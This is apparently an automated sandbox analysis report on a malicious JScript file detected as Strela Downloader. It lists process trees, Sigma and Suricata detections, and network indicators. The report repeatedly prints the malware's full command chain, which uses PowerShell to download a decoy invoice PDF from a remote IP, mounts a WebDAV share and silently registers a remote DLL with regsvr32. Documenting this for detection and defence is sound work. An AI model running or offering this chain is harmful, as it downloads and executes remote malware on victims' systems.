Edit tour

Windows Analysis Report
1474915939307712026.js

Overview

General Information

Sample name:	1474915939307712026.js
Analysis ID:	1587804
MD5:	e9b122e9f84c6d318591ebd76dbb675d
SHA1:	ff4aedb5dd7bd25e0ba58129d37e63980fd0f70e
SHA256:	01831e07353f1ceb7e80032c2df1b73effa00da7ba41edef02d26dc0b6a7c436
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1852 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6152 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5560 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5900 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4280 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1632 --field-trial-handle=1528,i,9385316614471311670,4180965964798409731,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6484 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6252 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3792 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1852	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6152, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5560, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6152, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5560, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", ProcessId: 1852, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6252, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6152, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6152, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6152, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6152, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6152, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", ProcessId: 1852, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6152, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5560, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6484, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6252, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3792, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6484, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6252, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6152, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:10:36.314228+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:10:33.444032+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1474915939307712026.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1474915939307712026.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:10:33 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

